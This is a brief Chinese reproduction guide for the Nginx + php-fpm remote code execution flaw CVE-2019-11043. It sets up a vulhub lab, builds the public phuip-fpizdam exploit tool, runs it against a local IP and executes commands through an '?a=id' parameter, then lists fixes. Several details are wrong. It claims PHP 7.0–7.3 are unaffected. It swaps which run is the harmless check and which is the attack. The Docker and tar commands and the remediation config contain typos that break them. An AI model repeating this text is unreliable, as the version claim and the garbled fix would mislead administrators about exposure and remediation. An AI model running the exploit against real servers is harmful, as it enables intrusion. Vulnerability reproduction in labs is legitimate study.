漏洞介绍
Nginx与php-fpm服务器上存在的一处高危漏洞,由于Nginx的fastcgi_split_path_info模块在处理带 %0a 的请求时,对换行符 \n 处置不当使得将PATH_INFO值置为空,从而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。目前开源社区已有漏洞Poc公开。
影响范围
Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
}
}
PHP 7.0/7.1/7.2/7.3不受影响
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
docker-compose up -d
docker速度慢,如下操作
vim /etc/docker/daemon-reload
{
"registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}
systemctl daemon-reload
systemctl restart docker
安装下go环境:
wget -c https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
tar -C /usr/local/ =xzf go1.8.3.linux-amd64.tar.gz
vim /etc/profile
最后加上一句
export PATH=$PATH:/usr/local/go/bin
source /etc/profile
利用工具:
https://github.com/neex/phuip-fpizdam
go build
漏洞复现
访问IP:8080
./phuip-fpizdam http://192.168.0.128:8080/index.php --skip-attack
无损漏洞检测
./phuip-fpizdam http://192.168.0.128:8080/index.php
http://192.168.0.128:8080/index.php?a=id
修复方案
修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符。
暂停使用nginx+php-fpm 服务
在不影响正常业务的情况下,删除Nginx配置文件中的如下配置:
fastcgi_split_path_info ^(。+?\。php)(/.*)$;
fastcgi_param PATH_INFO $ fastcgi_path_info;